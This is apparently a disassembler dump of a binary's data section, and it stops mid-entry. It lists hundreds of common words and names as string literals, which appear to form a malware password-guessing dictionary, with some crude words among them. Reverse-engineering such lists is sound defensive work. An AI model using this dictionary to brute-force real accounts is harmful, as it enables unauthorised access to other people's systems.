.data:00430494o align 4 aXmen db 'xmen',0 ; DATA XREF: .data:00430490o align 4 aXman db 'xman',0 ; DATA XREF: .data:0043048Co align 4 aXfer db 'xfer',0 ; DATA XREF: .data:00430488o align 4 aXena db 'xena',0 ; DATA XREF: .data:00430484o align 4 aWyoming db 'wyoming',0 ; DATA XREF: .data:00430480o aWwii db 'wwii',0 ; DATA XREF: .data:0043047Co align 4 aWormwood db 'wormwood',0 ; DATA XREF: .data:00430478o align 4 aWorm db 'worm',0 ; DATA XREF: .data:00430474o align 10h aWork db 'work',0 ; DATA XREF: .data:00430470o align 4 aWorf db 'worf',0 ; DATA XREF: .data:0043046Co align 10h aWordperf db 'wordperf',0 ; DATA XREF: .data:00430468o align 4 aWord db 'word',0 ; DATA XREF: .data:00430464o align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .data:00430460o align 10h aWood db 'wood',0 ; DATA XREF: .data:0043045Co align 4 aWomen db 'women',0 ; DATA XREF: .data:00430458o align 10h aWombat db 'wombat',0 ; DATA XREF: .data:00430454o align 4 aWoman db 'woman',0 ; DATA XREF: .data:00430450o align 10h aWolverin db 'wolverin',0 ; DATA XREF: .data:0043044Co align 4 aWolf db 'wolf',0 ; DATA XREF: .data:00430448o align 4 aWizard db 'wizard',0 ; DATA XREF: .data:00430444o align 4 aWithin db 'within',0 ; DATA XREF: .data:00430440o align 4 aWiseass db 'wiseass',0 ; DATA XREF: .data:0043043Co aWisconsi db 'wisconsi',0 ; DATA XREF: .data:00430438o align 4 aWired db 'wired',0 ; DATA XREF: .data:00430434o align 10h aWinston db 'winston',0 ; DATA XREF: .data:00430430o aWing db 'wing',0 ; DATA XREF: .data:0043042Co align 10h aWine db 'wine',0 ; DATA XREF: .data:00430428o align 4 aWindows db 'windows',0 ; DATA XREF: .data:00430424o aWilma db 'wilma',0 ; DATA XREF: .data:00430420o align 4 aWillie db 'willie',0 ; DATA XREF: .data:0043041Co align 10h aWilliams db 'williams',0 ; DATA XREF: .data:00430418o align 4 aWilliam db 'william',0 ; DATA XREF: .data:00430414o aWill db 'will',0 ; DATA XREF: .data:00430410o align 4 aWhore db 'whore',0 ; DATA XREF: .data:0043040Co align 4 aWholesal db 'wholesal',0 ; DATA XREF: .data:00430408o align 10h aWhitney db 'whitney',0 ; DATA XREF: .data:00430404o aWhiting db 'whiting',0 ; DATA XREF: .data:00430400o aWhite db 'white',0 ; DATA XREF: .data:004303FCo align 4 aWhisky db 'whisky',0 ; DATA XREF: .data:004303F8o align 10h aWhatnot db 'whatnot',0 ; DATA XREF: .data:004303F4o aWhatever db 'whatever',0 ; DATA XREF: .data:004303F0o align 4 aWestern db 'western',0 ; DATA XREF: .data:004303ECo aWest db 'west',0 ; DATA XREF: .data:004303E8o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .data:004303E4o align 10h aWendy db 'wendy',0 ; DATA XREF: .data:004303E0o align 4 aWendi db 'wendi',0 ; DATA XREF: .data:004303DCo align 10h aWell db 'well',0 ; DATA XREF: .data:004303D8o align 4 aWeenie db 'weenie',0 ; DATA XREF: .data:004303D4o align 10h aWeed db 'weed',0 ; DATA XREF: .data:004303D0o align 4 aWednesda db 'wednesda',0 ; DATA XREF: .data:004303CCo align 4 aWebpage db 'webpage',0 ; DATA XREF: .data:004303C8o aWave db 'wave',0 ; DATA XREF: .data:004303C4o align 4 aWater db 'water',0 ; DATA XREF: .data:004303C0o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: .data:004303BCo align 4 aWasp db 'wasp',0 ; DATA XREF: .data:004303B8o align 10h aWarren db 'warren',0 ; DATA XREF: .data:004303B4o align 4 aWarp db 'warp',0 ; DATA XREF: .data:004303B0o align 10h aWargames db 'wargames',0 ; DATA XREF: .data:004303ACo align 4 aWarfare db 'warfare',0 ; DATA XREF: .data:004303A8o aWarez db 'warez',0 ; DATA XREF: .data:004303A4o align 4 aWard db 'ward',0 ; DATA XREF: .data:004303A0o align 4 aWaco db 'waco',0 ; DATA XREF: .data:0043039Co align 4 aVodka db 'vodka',0 ; DATA XREF: .data:00430398o align 4 aVisualba db 'visualba',0 ; DATA XREF: .data:00430394o align 10h aVisual db 'visual',0 ; DATA XREF: .data:00430390o align 4 aVisitor db 'visitor',0 ; DATA XREF: .data:0043038Co aVirus db 'virus',0 ; DATA XREF: .data:00430388o align 4 aVirginia db 'virginia',0 ; DATA XREF: .data:00430384o align 4 aVirgin db 'virgin',0 ; DATA XREF: .data:00430380o align 4 aVillage db 'village',0 ; DATA XREF: .data:0043037Co aVideogam db 'videogam',0 ; DATA XREF: .data:00430378o align 10h aVideo db 'video',0 ; DATA XREF: sub_40EC43:loc_413327o ; .data:00430374o align 4 aVictor db 'victor',0 ; DATA XREF: .data:00430370o align 10h aVicky db 'vicky',0 ; DATA XREF: .data:0043036Co align 4 aVertigo db 'vertigo',0 ; DATA XREF: .data:00430368o aVeronica db 'veronica',0 ; DATA XREF: .data:00430364o align 4 aVenus db 'venus',0 ; DATA XREF: .data:00430360o align 4 aVasant db 'vasant',0 ; DATA XREF: .data:0043035Co align 4 aVampire db 'vampire',0 ; DATA XREF: .data:00430358o aValerie db 'valerie',0 ; DATA XREF: .data:00430354o aVagina db 'vagina',0 ; DATA XREF: .data:00430350o align 4 aUucp db 'uucp',0 ; DATA XREF: .data:0043034Co align 4 aUtility db 'utility',0 ; DATA XREF: .data:00430348o aUtil db 'util',0 ; DATA XREF: .data:00430344o align 4 aUsmc db 'usmc',0 ; DATA XREF: .data:00430340o align 4 aUsername_0 db 'username',0 ; DATA XREF: .data:0043033Co align 10h aUsermane db 'usermane',0 ; DATA XREF: .data:00430338o align 4 aUsenet db 'usenet',0 ; DATA XREF: .data:00430334o align 4 aUrsula db 'ursula',0 ; DATA XREF: .data:00430330o align 4 aUrchin db 'urchin',0 ; DATA XREF: .data:0043032Co align 4 aUranus db 'uranus',0 ; DATA XREF: .data:00430328o align 4 aUpload db 'upload',0 ; DATA XREF: .data:00430324o align 4 aUnlock db 'unlock',0 ; DATA XREF: .data:00430320o align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: .data:0043031Co aUniversi db 'universi',0 ; DATA XREF: .data:00430318o align 10h aUniverse db 'universe',0 ; DATA XREF: .data:00430314o align 4 aUniversa db 'universa',0 ; DATA XREF: .data:00430310o align 4 aUniform db 'uniform',0 ; DATA XREF: .data:0043030Co aUnicorn db 'unicorn',0 ; DATA XREF: .data:00430308o aUnhappy db 'unhappy',0 ; DATA XREF: .data:00430304o aUndo db 'undo',0 ; DATA XREF: .data:00430300o align 4 aUncle db 'uncle',0 ; DATA XREF: .data:004302FCo align 10h aUmesh db 'umesh',0 ; DATA XREF: .data:004302F8o align 4 aUgly db 'ugly',0 ; DATA XREF: .data:004302F4o align 10h aTuttle db 'tuttle',0 ; DATA XREF: .data:004302F0o align 4 aTurn db 'turn',0 ; DATA XREF: .data:004302ECo align 10h aTuesday db 'tuesday',0 ; DATA XREF: .data:004302E8o aTubas db 'tubas',0 ; DATA XREF: .data:004302E4o align 10h aTruth db 'truth',0 ; DATA XREF: .data:004302E0o align 4 aTrue db 'true',0 ; DATA XREF: .data:004302DCo align 10h aTron db 'tron',0 ; DATA XREF: .data:004302D8o align 4 aTrombone db 'trombone',0 ; DATA XREF: .data:004302D4o align 4 aTrojan db 'trojan',0 ; DATA XREF: .data:004302D0o align 4 aTrivial db 'trivial',0 ; DATA XREF: .data:004302CCo aTrisha db 'trisha',0 ; DATA XREF: .data:004302C8o align 4 aTrek db 'trek',0 ; DATA XREF: .data:004302C4o align 4 aTree db 'tree',0 ; DATA XREF: .data:004302C0o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: .data:004302BCo align 4 aTrap db 'trap',0 ; DATA XREF: .data:004302B8o align 10h aTransfer db 'transfer',0 ; DATA XREF: .data:004302B4o align 4 aTrails db 'trails',0 ; DATA XREF: .data:004302B0o align 4 aTracy db 'tracy',0 ; DATA XREF: .data:004302ACo align 4 aTracie db 'tracie',0 ; DATA XREF: .data:004302A8o align 4 aTraci db 'traci',0 ; DATA XREF: .data:004302A4o align 4 aToyota db 'toyota',0 ; DATA XREF: .data:004302A0o align 4 aToxic db 'toxic',0 ; DATA XREF: .data:0043029Co align 4 aTortoise db 'tortoise',0 ; DATA XREF: .data:00430298o align 4 aTopograp db 'topograp',0 ; DATA XREF: .data:00430294o align 4 aTomato db 'tomato',0 ; DATA XREF: .data:00430290o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: .data:0043028Co align 4 aToken db 'token',0 ; DATA XREF: .data:00430288o align 10h aToggle db 'toggle',0 ; DATA XREF: .data:00430284o align 4 aToad db 'toad',0 ; DATA XREF: .data:00430280o align 10h aTits db 'tits',0 ; DATA XREF: .data:0043027Co align 4 aTina db 'tina',0 ; DATA XREF: .data:00430278o align 10h aTime db 'time',0 ; DATA XREF: .data:00430274o align 4 aTiger db 'tiger',0 ; DATA XREF: .data:00430270o align 10h aTiffany db 'tiffany',0 ; DATA XREF: .data:0043026Co aThursday db 'thursday',0 ; DATA XREF: .data:00430268o align 4 aThin db 'thin',0 ; DATA XREF: .data:00430264o align 4 aTheresa db 'theresa',0 ; DATA XREF: .data:00430260o aThailand db 'thailand',0 ; DATA XREF: .data:0043025Co align 10h aText db 'text',0 ; DATA XREF: .data:00430258o align 4 aTetris db 'tetris',0 ; DATA XREF: .data:00430254o align 10h aTess db 'tess',0 ; DATA XREF: .data:00430250o align 4 aTerminat db 'terminat',0 ; DATA XREF: .data:0043024Co align 4 aTerminal db 'terminal',0 ; DATA XREF: .data:00430248o align 10h aTera db 'tera',0 ; DATA XREF: .data:00430244o align 4 aTennis db 'tennis',0 ; DATA XREF: .data:00430240o align 10h aTemptati db 'temptati',0 ; DATA XREF: .data:0043023Co align 4 aTelnet db 'telnet',0 ; DATA XREF: .data:00430238o align 4 aTelephon db 'telephon',0 ; DATA XREF: .data:00430234o align 10h aTeenage db 'teenage',0 ; DATA XREF: .data:00430230o aTeen db 'teen',0 ; DATA XREF: .data:0043022Co align 10h aTech db 'tech',0 ; DATA XREF: .data:00430228o align 4 aTears db 'tears',0 ; DATA XREF: .data:00430224o align 10h aTeapot db 'teapot',0 ; DATA XREF: .data:00430220o align 4 aTeam db 'team',0 ; DATA XREF: .data:0043021Co align 10h aTaylor db 'taylor',0 ; DATA XREF: .data:00430214o align 4 aTarragon db 'tarragon',0 ; DATA XREF: .data:00430210o align 4 aTarget db 'target',0 ; DATA XREF: .data:0043020Co align 4 aTara db 'tara',0 ; DATA XREF: .data:00430208o align 4 aTape db 'tape',0 ; DATA XREF: .data:00430204o align 4 aTango db 'tango',0 ; DATA XREF: .data:00430200o align 4 aTangerin db 'tangerin',0 ; DATA XREF: .data:004301FCo align 10h aTammy db 'tammy',0 ; DATA XREF: .data:004301F8o align 4 aTamie db 'tamie',0 ; DATA XREF: .data:004301F4o align 10h aTami db 'tami',0 ; DATA XREF: .data:004301F0o align 4 aTamara db 'tamara',0 ; DATA XREF: .data:004301ECo align 10h aTall db 'tall',0 ; DATA XREF: .data:004301E8o align 4 aTalk db 'talk',0 ; DATA XREF: .data:004301E4o align 10h aTabasco db 'tabasco',0 ; DATA XREF: .data:004301E0o aSysop db 'sysop',0 ; DATA XREF: .data:004301DCo align 10h aSysadmin db 'sysadmin',0 ; DATA XREF: .data:004301D8o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .data:004301D4o align 4 aSybil db 'sybil',0 ; DATA XREF: .data:004301D0o align 10h aSword db 'sword',0 ; DATA XREF: .data:004301CCo align 4 aSwitch db 'switch',0 ; DATA XREF: .data:004301C8o align 10h aSweat db 'sweat',0 ; DATA XREF: .data:004301C4o align 4 aSwearer db 'swearer',0 ; DATA XREF: .data:004301C0o aSuzie db 'suzie',0 ; DATA XREF: .data:004301BCo align 4 aSuzanne db 'suzanne',0 ; DATA XREF: .data:004301B8o aSusie db 'susie',0 ; DATA XREF: .data:004301B4o align 4 aSusanne db 'susanne',0 ; DATA XREF: .data:004301B0o aSusan db 'susan',0 ; DATA XREF: .data:004301ACo align 4 aSurfing db 'surfing',0 ; DATA XREF: .data:004301A8o aSurfer db 'surfer',0 ; DATA XREF: .data:004301A4o align 4 aSupporte db 'supporte',0 ; DATA XREF: .data:004301A0o align 4 aSupport db 'support',0 ; DATA XREF: .data:0043019Co aSupervis db 'supervis',0 ; DATA XREF: .data:00430198o align 4 aSuperuse db 'superuse',0 ; DATA XREF: .data:00430194o align 4 aSupersta db 'supersta',0 ; DATA XREF: .data:00430190o align 10h aSuperson db 'superson',0 ; DATA XREF: .data:0043018Co align 4 aSuperman db 'superman',0 ; DATA XREF: .data:00430188o align 4 aSunday db 'sunday',0 ; DATA XREF: .data:00430184o align 10h aSummer db 'summer',0 ; DATA XREF: .data:00430180o align 4 aSucks db 'sucks',0 ; DATA XREF: .data:0043017Co align 10h aSuckmydi db 'suckmydi',0 ; DATA XREF: .data:00430178o align 4 aSuck db 'suck',0 ; DATA XREF: .data:00430174o align 4 aSuccess db 'success',0 ; DATA XREF: .data:00430170o aSubway db 'subway',0 ; DATA XREF: .data:0043016Co align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .data:00430168o align 10h aStuttgar db 'stuttgar',0 ; DATA XREF: .data:00430164o align 4 aStrip db 'strip',0 ; DATA XREF: .data:0043015Co align 4 aString db 'string',0 ; DATA XREF: .data:00430158o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: .data:00430154o align 4 aStratfor db 'stratfor',0 ; DATA XREF: .data:00430150o align 4 aStrangle db 'strangle',0 ; DATA XREF: .data:0043014Co align 10h aStrange db 'strange',0 ; DATA XREF: .data:00430148o aStones db 'stones',0 ; DATA XREF: .data:00430144o align 10h aStoned db 'stoned',0 ; DATA XREF: .data:00430140o align 4 aStoneage db 'stoneage',0 ; DATA XREF: .data:0043013Co align 4 aSteve db 'steve',0 ; DATA XREF: .data:00430138o align 4 aStereo db 'stereo',0 ; DATA XREF: .data:00430134o align 4 aStephani db 'stephani',0 ; DATA XREF: .data:00430130o align 10h aSteph db 'steph',0 ; DATA XREF: .data:0043012Co align 4 aSteel db 'steel',0 ; DATA XREF: .data:00430128o align 10h aSteal db 'steal',0 ; DATA XREF: .data:00430124o align 4 aSteak db 'steak',0 ; DATA XREF: .data:00430120o align 10h aStarwars db 'starwars',0 ; DATA XREF: .data:0043011Co align 4 aStartup db 'startup',0 ; DATA XREF: .data:00430118o aStartrek db 'startrek',0 ; DATA XREF: .data:00430114o align 10h aStart db 'start',0 ; DATA XREF: sub_40EC43+1FA8o ; .data:00430110o align 4 aStarship db 'starship',0 ; DATA XREF: .data:0043010Co align 4 aStar db 'star',0 ; DATA XREF: .data:00430108o align 4 aStacy db 'stacy',0 ; DATA XREF: .data:00430104o align 4 aStacie db 'stacie',0 ; DATA XREF: .data:00430100o align 4 aStaci db 'staci',0 ; DATA XREF: .data:004300FCo align 4 aStacey db 'stacey',0 ; DATA XREF: .data:004300F8o align 4 aSr71 db 'sr71',0 ; DATA XREF: .data:004300F4o align 4 aSquires db 'squires',0 ; DATA XREF: .data:004300F0o aSpunk db 'spunk',0 ; DATA XREF: .data:004300ECo align 4 aSpringer db 'springer',0 ; DATA XREF: .data:004300E8o align 10h aSpring db 'spring',0 ; DATA XREF: .data:004300E4o align 4 aSpred db 'spred',0 ; DATA XREF: .data:004300E0o align 10h aSpit db 'spit',0 ; DATA XREF: .data:004300DCo align 4 aSpiderma db 'spiderma',0 ; DATA XREF: .data:004300D8o align 4 aSpider db 'spider',0 ; DATA XREF: .data:004300D4o align 4 aSpice db 'spice',0 ; DATA XREF: .data:004300D0o align 4 aSpell db 'spell',0 ; DATA XREF: .data:004300CCo align 4 aSpear db 'spear',0 ; DATA XREF: .data:004300C8o align 4 aSparrows db 'sparrows',0 ; DATA XREF: .data:004300C4o align 10h aSpaceshi db 'spaceshi',0 ; DATA XREF: .data:004300C0o align 4 aSouth db 'south',0 ; DATA XREF: .data:004300BCo align 4 aSource db 'source',0 ; DATA XREF: .data:004300B8o align 4 aSossina db 'sossina',0 ; DATA XREF: .data:004300B4o aSonya db 'sonya',0 ; DATA XREF: .data:004300B0o align 4 aSonic db 'sonic',0 ; DATA XREF: .data:004300ACo align 4 aSonia db 'sonia',0 ; DATA XREF: .data:004300A8o align 4 aSondra db 'sondra',0 ; DATA XREF: .data:004300A4o align 4 aSomebody db 'somebody',0 ; DATA XREF: .data:004300A0o align 10h aSoftware db 'software',0 ; DATA XREF: .data:0043009Co align 4 aSoft db 'soft',0 ; DATA XREF: .data:00430098o align 4 aSodomy db 'sodomy',0 ; DATA XREF: .data:00430094o align 4 aSocrates db 'socrates',0 ; DATA XREF: .data:00430090o align 4 aSocial db 'social',0 ; DATA XREF: .data:0043008Co align 10h aSoap db 'soap',0 ; DATA XREF: .data:00430088o align 4 aSnoopy db 'snoopy',0 ; DATA XREF: .data:00430084o align 10h aSnatch db 'snatch',0 ; DATA XREF: .data:00430080o align 4 aSnake db 'snake',0 ; DATA XREF: .data:0043007Co align 10h aSnafu db 'snafu',0 ; DATA XREF: .data:00430078o align 4 aSnach db 'snach',0 ; DATA XREF: .data:00430074o align 10h aSmut db 'smut',0 ; DATA XREF: .data:00430070o align 4 aSmtp db 'smtp',0 ; DATA XREF: .data:0043006Co align 10h aSmother db 'smother',0 ; DATA XREF: .data:00430068o aSmooch db 'smooch',0 ; DATA XREF: .data:00430064o align 10h aSmiles db 'smiles',0 ; DATA XREF: .data:00430060o align 4 aSmile db 'smile',0 ; DATA XREF: .data:off_43005Co align 10h aSmart db 'smart',0 ; DATA XREF: .data:00430058o align 4 aSmall db 'small',0 ; DATA XREF: .data:00430054o align 10h aSlut db 'slut',0 ; DATA XREF: .data:off_430050o align 4 aSlow db 'slow',0 ; DATA XREF: .data:0043004Co align 10h aSliders db 'sliders',0 ; DATA XREF: .data:00430048o aSlick db 'slick',0 ; DATA XREF: .data:00430044o align 10h aSlave db 'slave',0 ; DATA XREF: .data:00430040o align 4 aSkull db 'skull',0 ; DATA XREF: .data:0043003Co align 10h aSite db 'site',0 ; DATA XREF: .data:00430038o align 4 aSingle db 'single',0 ; DATA XREF: .data:00430034o align 10h aSinger db 'singer',0 ; DATA XREF: .data:00430030o align 4 aSimulati db 'simulati',0 ; DATA XREF: .data:0043002Co align 4 aSimpsons db 'simpsons',0 ; DATA XREF: .data:00430028o align 10h aSimple db 'simple',0 ; DATA XREF: .data:00430024o align 4 aSimon db 'simon',0 ; DATA XREF: .data:00430020o align 10h aSimcity db 'simcity',0 ; DATA XREF: .data:0043001Co aSilver db 'silver',0 ; DATA XREF: .data:00430018o align 10h aSignatur db 'signatur',0 ; DATA XREF: .data:00430014o align 4 aSierra db 'sierra',0 ; DATA XREF: .data:00430010o align 4 aSick db 'sick',0 ; DATA XREF: .data:0043000Co align 4 aShuttle db 'shuttle',0 ; DATA XREF: .data:00430008o aShort db 'short',0 ; DATA XREF: .data:00430004o align 4 aShivers db 'shivers',0 ; DATA XREF: .data:00430000o aShiva db 'shiva',0 ; DATA XREF: .data:0042FFFCo align 4 aShitpot db 'shitpot',0 ; DATA XREF: .data:0042FFF8o aShit db 'shit',0 ; DATA XREF: .data:0042FFF4o align 4 aShirley db 'shirley',0 ; DATA XREF: .data:0042FFF0o aShift db 'shift',0 ; DATA XREF: .data:0042FFECo align 4 aSherri db 'sherri',0 ; DATA XREF: .data:0042FFE8o align 4 aShell db 'shell',0 ; DATA XREF: .data:0042FFE4o align 4 aSheldon db 'sheldon',0 ; DATA XREF: .data:0042FFE0o aSheffiel db 'sheffiel',0 ; DATA XREF: .data:0042FFDCo align 10h aSharon db 'sharon',0 ; DATA XREF: .data:0042FFD8o align 4 aSharks db 'sharks',0 ; DATA XREF: .data:0042FFD4o align 10h aShark db 'shark',0 ; DATA XREF: .data:0042FFD0o align 4 aSharc db 'sharc',0 ; DATA XREF: .data:0042FFCCo align 10h aShannon db 'shannon',0 ; DATA XREF: .data:0042FFC8o aSexy db 'sexy',0 ; DATA XREF: .data:0042FFC4o align 10h aSesame db 'sesame',0 ; DATA XREF: .data:0042FFC0o align 4 aService db 'service',0 ; DATA XREF: .data:0042FFBCo aSerial_0 db 'serial',0 ; DATA XREF: .data:0042FFB8o align 4 aSerenity db 'serenity',0 ; DATA XREF: .data:0042FFB4o align 4 aSentry db 'sentry',0 ; DATA XREF: .data:0042FFB0o align 4 aSentinel db 'sentinel',0 ; DATA XREF: .data:0042FFACo align 4 aSensor db 'sensor',0 ; DATA XREF: .data:0042FFA8o align 10h aSega db 'sega',0 ; DATA XREF: .data:0042FFA4o align 4 aSeed db 'seed',0 ; DATA XREF: .data:0042FFA0o align 10h aSecurity db 'security',0 ; DATA XREF: .data:0042FF9Co align 4 aSearch db 'search',0 ; DATA XREF: .data:0042FF98o align 4 aScout db 'scout',0 ; DATA XREF: .data:0042FF94o align 4 aScotty db 'scotty',0 ; DATA XREF: .data:0042FF90o align 4 aScott db 'scott',0 ; DATA XREF: .data:0042FF8Co align 4 aScorpion db 'scorpion',0 ; DATA XREF: .data:0042FF88o align 4 aScifi db 'scifi',0 ; DATA XREF: .data:0042FF84o align 10h aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .data:0042FF80o aSchool db 'school',0 ; DATA XREF: .data:0042FF7Co align 4 aScheme db 'scheme',0 ; DATA XREF: .data:0042FF78o align 4 aScamper db 'scamper',0 ; DATA XREF: .data:0042FF74o aSaxon db 'saxon',0 ; DATA XREF: .data:0042FF70o align 4 aSaturn db 'saturn',0 ; DATA XREF: .data:0042FF6Co align 4 aSaturday db 'saturday',0 ; DATA XREF: .data:0042FF68o align 10h aSarah db 'sarah',0 ; DATA XREF: .data:0042FF64o align 4 aSara db 'sara',0 ; DATA XREF: .data:0042FF60o align 10h aSandy db 'sandy',0 ; DATA XREF: .data:0042FF5Co align 4 aSandra db 'sandra',0 ; DATA XREF: .data:0042FF58o align 10h aSample db 'sample',0 ; DATA XREF: .data:0042FF54o align 4 aSamantha db 'samantha',0 ; DATA XREF: .data:0042FF50o align 4 aSalt db 'salt',0 ; DATA XREF: .data:0042FF4Co align 4 aSale db 'sale',0 ; DATA XREF: .data:0042FF48o align 4 aSalami db 'salami',0 ; DATA XREF: .data:0042FF44o align 4 aSafe db 'safe',0 ; DATA XREF: .data:0042FF40o align 4 aRuth db 'ruth',0 ; DATA XREF: .data:0042FF3Co align 4 aRush db 'rush',0 ; DATA XREF: .data:0042FF38o align 4 aRunning_0 db 'running',0 ; DATA XREF: .data:0042FF34o aRules db 'rules',0 ; DATA XREF: .data:0042FF30o align 4 aRude db 'rude',0 ; DATA XREF: .data:0042FF2Co align 4 aRuby db 'ruby',0 ; DATA XREF: .data:0042FF28o align 4 aRuben db 'ruben',0 ; DATA XREF: .data:0042FF24o align 4 aRubber db 'rubber',0 ; DATA XREF: .data:0042FF20o align 4 aRough db 'rough',0 ; DATA XREF: .data:0042FF1Co align 4 aRoses db 'roses',0 ; DATA XREF: .data:0042FF18o align 4 aRosemary db 'rosemary',0 ; DATA XREF: .data:0042FF14o align 10h aRosebud db 'rosebud',0 ; DATA XREF: .data:0042FF10o aRose db 'rose',0 ; DATA XREF: .data:0042FF0Co align 10h aRonald db 'ronald',0 ; DATA XREF: .data:0042FF08o align 4 aRomulan db 'romulan',0 ; DATA XREF: .data:0042FF04o aRomeo db 'romeo',0 ; DATA XREF: .data:0042FF00o align 4 aRomano db 'romano',0 ; DATA XREF: .data:0042FEFCo align 10h aRolex db 'rolex',0 ; DATA XREF: .data:0042FEF8o align 4 aRodent db 'rodent',0 ; DATA XREF: .data:0042FEF4o align 10h aRockyhor db 'rockyhor',0 ; DATA XREF: .data:0042FEF0o align 4 aRocky db 'rocky',0 ; DATA XREF: .data:0042FEECo align 4 aRock db 'rock',0 ; DATA XREF: .data:0042FEE8o align 4 aRocheste db 'rocheste',0 ; DATA XREF: .data:0042FEE4o align 4 aRochelle db 'rochelle',0 ; DATA XREF: .data:0042FEE0o align 4 aRobyn db 'robyn',0 ; DATA XREF: .data:0042FEDCo align 4 aRobotics db 'robotics',0 ; DATA XREF: .data:0042FED8o align 4 aRobot db 'robot',0 ; DATA XREF: .data:0042FED4o align 10h aRobin db 'robin',0 ; DATA XREF: .data:0042FED0o align 4 aRobert db 'robert',0 ; DATA XREF: .data:0042FECCo align 10h aRoach db 'roach',0 ; DATA XREF: .data:0042FEC8o align 4 aRisc db 'risc',0 ; DATA XREF: .data:0042FEC4o align 10h aRipple db 'ripple',0 ; DATA XREF: .data:0042FEC0o align 4 aRiot db 'riot',0 ; DATA XREF: .data:0042FEBCo align 10h aRing db 'ring',0 ; DATA XREF: .data:0042FEB8o align 4 aRightwin db 'rightwin',0 ; DATA XREF: .data:0042FEB4o align 4 aRight db 'right',0 ; DATA XREF: .data:0042FEB0o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .data:0042FEACo align 4 aRick db 'rick',0 ; DATA XREF: .data:0042FEA8o align 10h aRich db 'rich',0 ; DATA XREF: .data:0042FEA4o align 4 aRhino db 'rhino',0 ; DATA XREF: .data:0042FEA0o align 10h aReveal db 'reveal',0 ; DATA XREF: .data:0042FE9Co align 4 aResistan db 'resistan',0 ; DATA XREF: .data:0042FE98o align 4 aRepublic db 'republic',0 ; DATA XREF: .data:0042FE94o align 10h aReport db 'report',0 ; DATA XREF: .data:0042FE90o align 4 aRent db 'rent',0 ; DATA XREF: .data:0042FE8Co align 10h aReno db 'reno',0 ; DATA XREF: .data:0042FE88o align 4 aRenee db 'renee',0 ; DATA XREF: .data:0042FE84o align 10h aRemote db 'remote',0 ; DATA XREF: .data:0042FE80o align 4 aRelease db 'release',0 ; DATA XREF: .data:0042FE7Co aRegional db 'regional',0 ; DATA XREF: .data:0042FE78o align 4 aReferenc db 'referenc',0 ; DATA XREF: .data:0042FE74o align 4 aRedhead db 'redhead',0 ; DATA XREF: .data:0042FE70o aReddawn db 'reddawn',0 ; DATA XREF: .data:0042FE6Co aRecord db 'record',0 ; DATA XREF: .data:0042FE68o align 10h aRebel db 'rebel',0 ; DATA XREF: .data:0042FE64o align 4 aRebecca db 'rebecca',0 ; DATA XREF: .data:0042FE60o aRebal db 'rebal',0 ; DATA XREF: .data:0042FE5Co align 4 aReaper db 'reaper',0 ; DATA XREF: .data:0042FE58o align 10h aReam db 'ream',0 ; DATA XREF: .data:0042FE54o align 4 aReally db 'really',0 ; DATA XREF: .data:0042FE50o align 10h aReality db 'reality',0 ; DATA XREF: .data:0042FE4Co aReagan db 'reagan',0 ; DATA XREF: .data:0042FE48o align 10h aRazor db 'razor',0 ; DATA XREF: .data:0042FE44o align 4 aRascal db 'rascal',0 ; DATA XREF: .data:0042FE40o align 10h aRape db 'rape',0 ; DATA XREF: .data:0042FE3Co align 4 aRaleigh db 'raleigh',0 ; DATA XREF: .data:0042FE34o aRaindrop db 'raindrop',0 ; DATA XREF: .data:0042FE30o align 4 aRainbow db 'rainbow',0 ; DATA XREF: .data:0042FE2Co aRain db 'rain',0 ; DATA XREF: .data:0042FE28o align 4 aRaid db 'raid',0 ; DATA XREF: .data:0042FE24o align 4 aRachmani db 'rachmani',0 ; DATA XREF: .data:0042FE20o align 10h aRachelle db 'rachelle',0 ; DATA XREF: .data:0042FE1Co align 4 aRachel db 'rachel',0 ; DATA XREF: .data:0042FE18o align 4 aRabbit db 'rabbit',0 ; DATA XREF: .data:0042FE14o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0042FE10o align 4 aQwert db 'qwert',0 ; DATA XREF: .data:0042FE0Co align 4 aQuebec db 'quebec',0 ; DATA XREF: .data:0042FE08o align 4 aPussy db 'pussy',0 ; DATA XREF: .data:0042FE04o align 4 aPuppet db 'puppet',0 ; DATA XREF: .data:0042FE00o align 4 aPunk db 'punk',0 ; DATA XREF: .data:0042FDFCo align 4 aPunisher db 'punisher',0 ; DATA XREF: .data:0042FDF8o align 4 aPuneet db 'puneet',0 ; DATA XREF: .data:0042FDF4o align 10h aPumpkin db 'pumpkin',0 ; DATA XREF: .data:0042FDF0o aPuke db 'puke',0 ; DATA XREF: .data:0042FDECo align 10h aPuck db 'puck',0 ; DATA XREF: .data:0042FDE8o align 4 aPublic db 'public',0 ; DATA XREF: .data:0042FDE4o align 10h aPsychopa db 'psychopa',0 ; DATA XREF: .data:0042FDE0o align 4 aPsycho db 'psycho',0 ; DATA XREF: .data:0042FDDCo align 4 aProtozoa db 'protozoa',0 ; DATA XREF: .data:0042FDD8o align 10h aProtect db 'protect',0 ; DATA XREF: .data:0042FDD4o aPrompt db 'prompt',0 ; DATA XREF: .data:0042FDD0o align 10h aProgram db 'program',0 ; DATA XREF: .data:0042FDCCo aProfile db 'profile',0 ; DATA XREF: .data:0042FDC8o aProfesso db 'professo',0 ; DATA XREF: .data:0042FDC4o align 4 aProcesso db 'processo',0 ; DATA XREF: .data:0042FDC0o align 4 aProceed db 'proceed',0 ; DATA XREF: .data:0042FDBCo aPrivs db 'privs',0 ; DATA XREF: .data:0042FDB8o align 4 aPrivate db 'private',0 ; DATA XREF: .data:0042FDB4o aPriv db 'priv',0 ; DATA XREF: .data:0042FDB0o align 4 aPrinter db 'printer',0 ; DATA XREF: .data:0042FDACo aPrinceto db 'princeto',0 ; DATA XREF: .data:0042FDA8o align 4 aPrince db 'prince',0 ; DATA XREF: .data:0042FDA4o align 4 aPresto db 'presto',0 ; DATA XREF: .data:0042FDA0o align 4 aPrelude db 'prelude',0 ; DATA XREF: .data:0042FD9Co aPrecious db 'precious',0 ; DATA XREF: .data:0042FD98o align 10h aPraise db 'praise',0 ; DATA XREF: .data:0042FD94o align 4 aPower db 'power',0 ; DATA XREF: .data:0042FD90o align 10h aPoster db 